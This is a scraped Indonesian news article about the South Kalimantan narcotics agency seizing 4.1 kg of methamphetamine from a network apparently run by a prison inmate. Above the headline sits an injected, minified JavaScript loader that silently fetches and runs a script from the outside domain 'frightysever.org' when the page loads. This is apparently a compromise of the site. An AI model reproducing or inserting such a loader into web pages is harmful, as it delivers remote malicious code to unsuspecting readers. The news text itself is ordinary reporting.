(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tangkapan 4 Kg Sabu Sindikat Narkoba di Kalsel, BNNP Kalsel: Ada Jaringan Libatkan Napi Lapas Karang Intan


KANALKALIMANTAN.COM,BANJARMASIN – Badan Narkotika Nasional (BNN) Provinsi Kalimantan Selatan berhasil gagalkan peredaran narkoba jenis sabu jaringan Lapas, tiga tersangka diamankan dengan barang bukti 4,1 Kg sabu pada Rabu (20/10/2021) lalu.

Ketiga terduga pelaku sindikat peredaran narkotika jaringan internasional itu berinisial MZ, RB, dan MN, ketiga pelaku diamankan dari tempat berbeda.

MZ adaalah warga Jalan Jawa RT 01 RW 01, Kelurahan Binuang, Kabupaten Tapin, RB tercatat sebagai warga Komplek Citra Indah II RT 004 RW 011, Kecamatan Martapura, Kabupaten Banjar, dan MN penghuni Lapas Narkotika Karang Intan, warga Jalan Raya Belanti, Kelurahan Pantai Atas, Kelurahan Binuang, Kabupaten Tapin.

“Hasil pengembangan BNNP Kalsel dari tersangka MZ didapatkan membawa 4,1 Kg sabu di dalam 1 tas ransel,” ujar Kepala BNNP Kalsel Brigjen Pol Drs Jackson Lapalonga saat jumpa pers, Kamis (4/11/2021) siang.

 

 

Ketiga tersangka memiliki tugas yang berbeda-beda, narkotika tersebut diambil kemudian dikirim A -dugaan bandar besar di Provinsi Kalimantan Barat-.

“A memerintahkan MN napi yang menjadi otaknya untuk mengendalikan peredaran narkotika ini,” katanya.

MN (napi Lapas Karang Intan) menyuruh MZ untuk membawa narkotika itu dari Kalbar ke Kalsel melalui jalur darat dengan menggunakan travel. Selanjutnya, narkotika akan disebar lagi oleh RB di wilayah Kalsel.

Anggota BNNP Kalsel mengintai MZ saat itu sedang membawa narkotika. BNNP Kalsel dipimpin Kompol Yanto Suparwito membekuk MZ di Desa Anjir Pasar, Kabupaten Barito Kuala.

Baca juga : Gedung PN Paringin Hampir Rampung, Tahun Depan Bisa Dipergunakan

“Ketiga pelaku sindikat jaringan internasional ini berasal dari jarngan Kalbar dan Kalsel,” ungkap Jackson .

Hasil analisis intelijen, kata Jackson, cara kerja jaringan ini berkomunikasi dengan salah satu napi yang berada di Lapas Narkotika Karang intan.

Ketiga sindikat itu mendapatkan narkotika tersebut diduga dari Malaysia melalui jaringan napi yang ada di Lapas wilayah Kalsel, salah satunya Lapas Narkotika Karang Intan.

Kepala BNNP Kalsel mengatakan, jaringan ini dikendalikan oleh seorang napi yang berada di Kalsel. (kanalkalimantan.com/seno)

Reporter : seno
Editor : bie


Desy Arfianty

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

11 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

11 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

11 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

14 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

20 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.